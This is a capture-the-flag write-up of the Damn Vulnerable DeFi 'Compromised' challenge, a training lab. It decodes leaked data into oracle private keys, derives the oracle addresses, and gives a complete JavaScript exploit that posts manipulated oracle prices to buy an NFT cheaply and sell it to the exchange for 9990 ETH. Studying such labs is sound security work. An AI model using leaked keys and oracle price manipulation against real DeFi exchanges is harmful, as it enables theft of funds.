Damn Vulnerable DeFi - Compromised
Compromised
Analysis
Challenge snippet seems to contain hex characters:
4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35
4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34
Which seem to be base64…
$ echo -n "4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35" | xxd -r -p | base64 -d
0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9
$ echo -n "4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34" | xxd -r -p | base64 -d
0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48
Theories
-
These may be x,y coordinates of a public key.
0x04c678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48
Prefix of 0x04 because Ethereum uses uncompressed public keys:
Resource: https://www.oreilly.com/library/view/mastering-ethereum/9781491971932/ch04.html
- Computing an address Keccak-256(publickey) omitting the 0x04 prefix
02440a7ee8a39494dddaced5b0a415e392e62702a4e3a275602f392f82be285f
Suffix 20bytes
0xb0a415e392e62702a4e3a275602f392f82be285f
A public key is useless since it is “public”
-
These could be private keys: https://consensys.github.io/smart-contract-best-practices/attacks/oracle-manipulation/#centralized-oracles-and-trust.
Private keys are 32bytes in length.
Need to compute the matching public key and hence address to see which oracle(s) were compromised.
import ecdsa, codecs # pycryptodome from Crypto.Hash import keccak >>> unknown_data1 = "c678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9" >>> unknown_data2 = "208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48" >>> def getPublicKeyFromPrivateECDSA(privkey_hex): ... privkey_as_bytes = codecs.decode(privkey_hex, 'hex') ... pubkey_as_signing = ecdsa.SigningKey.from_string(privkey_as_bytes, curve=ecdsa.SECP256k1).verifying_key ... pubkey_as_bytes = pubkey_as_signing.to_string() ... pubkey_hex = codecs.encode(pubkey_as_bytes, 'hex') ... return pubkey_hex ... >>> getPublicKeyFromPrivateECDSA(unknown_data1) b'5c1b119edd97e67393409f959f810ccbf82690c7d86f88a8cf5b748011400b6c9cc17f448703c3ee30a5d0dedc1b078519ad14221f57aa517d671812d00159fd' >>> getPublicKeyFromPrivateECDSA(unknown_data2) b'555945b73af0ba039e1ab1b9f02f2840573364318219f14436dbd5f753cd8ba33cb1ecb4ec13ccb42258e845318f3905777a4be2ee8b7d979b3685b90fc51ed4' >>> import keccak >>> def getAddrFromPubKey(pubkey_hex): ... pubkey_as_bytes = codecs.decode(pubkey_hex, 'hex') ... keccak_hash = keccak.new(digest_bits=256) ... keccak_hash.update(pubkey_as_bytes) ... keccak_digest = keccak_hash.hexdigest() ... return '0x'+ keccak_digest[-40:] ... >>> getAddrFromPubKey(pubkey_1) '0xe92401a4d3af5e446d93d11eec806b1462b39d15' >>> getAddrFromPubKey(pubkey_2) '0x81a5d6e50c214044be44ca0cb057fe119097850c'
These addresses match the address of the sources!
Turns out you can do these computations with library functions from web3.js or ethers.js but I preferred learning the crypto involved.
-
Exchange.sol
Allows a user with sufficient balance to buy the DVNFT token and allows a user to buy the token if the Exchange has enough funds.
The price is determined by median computation from the provided oracles
A user can sell a token TO the Exchange using the
sellOne
routine, the Exchange pays the user thecurrentPriceInWei
A user can buy a token FROM the Exchange using the
buyOne
routine, the user pays the exchangecurrentPriceInWei
-
TrustfulOracleInitializer.sol
initializes the oracles with initial prices by invoking
setupInitialPrices
-
TrustfulOracle.sol
Assigns some useful roles like
TRUSTED_SOURCE_ROLE
for the on-chain sources andINITIALIZER_ROLE
for the initializer contract. The latter role is useful once after which it is stripped.Trusted sources can set new price for the token using the
postPrice
routine
Money leaves the exchange when sellOne
is invoked. An idea is to manipulate the oracle price. Buy it cheaper, sell it very expensive. Reset the price.
Problem
Leaked private keys of oracles can be used to manipulate the exchange by manipulating prices reported by the oracles
Exploit
- compromised.challengee.js
... it('Exploit', async function () { /** CODE YOUR EXPLOIT HERE */ // initialize source wallets from private keys var source2_private_key = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9"; var source3_private_key = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48"; var source2_wallet = new ethers.Wallet(source2_private_key, ethers.provider); var source3_wallet = new ethers.Wallet(source3_private_key, ethers.provider); // manipulate the Oracles make it cost too little await this.oracle.connect(source2_wallet).postPrice(this.nftToken.symbol(), ethers.utils.parseEther('0.0')); await this.oracle.connect(source3_wallet).postPrice(this.nftToken.symbol(), ethers.utils.parseEther('0.0')); // Attacker is too broke, give it 2ETH await source2_wallet.sendTransaction({ to: attacker.address, value: utils.parseEther("1.0") }); await source3_wallet.sendTransaction({ to: attacker.address, value: utils.parseEther("1.0") }); // BuyOne as attacker const options = {value: ethers.utils.parseEther("0.1")}; var tx = await this.exchange.connect(attacker).buyOne(options); var receipt = await tx.wait() //var tokenId, by, price; for (const event of receipt.events) { if (event.event == "TokenBought"){ var {by,tokenId,price} = event.args; } } // manipulate the Oracles make it cost everything // including what was paid to buyone await this.oracle.connect(source2_wallet).postPrice(this.nftToken.symbol(), ethers.utils.parseEther('9990')); await this.oracle.connect(source3_wallet).postPrice(this.nftToken.symbol(), ethers.utils.parseEther('9990')); // SellOne as attacker await this.nftToken.connect(attacker).approve(this.exchange.address, tokenId); var tx = await this.exchange.connect(attacker).sellOne(tokenId); // manipulate the Oracles make it original everything await this.oracle.connect(source2_wallet).postPrice(this.nftToken.symbol(), ethers.utils.parseEther('999')); await this.oracle.connect(source3_wallet).postPrice(this.nftToken.symbol(), ethers.utils.parseEther('999')); }); ...
Explanation
- Attacker needs to afford one tokens with <=0.1 ETH.
- Attacker needs to sell the token to the exchange for 9990 ETH.
- Attacker uses compromised accounts to get more ETH.
- Attacker manipulates the prices by using the compromised source accounts to
postPrice
such that the calculated median token cost is favourable to the attacker e.g 0 to buy and 9990 to sell - The attacker resets the price in the end.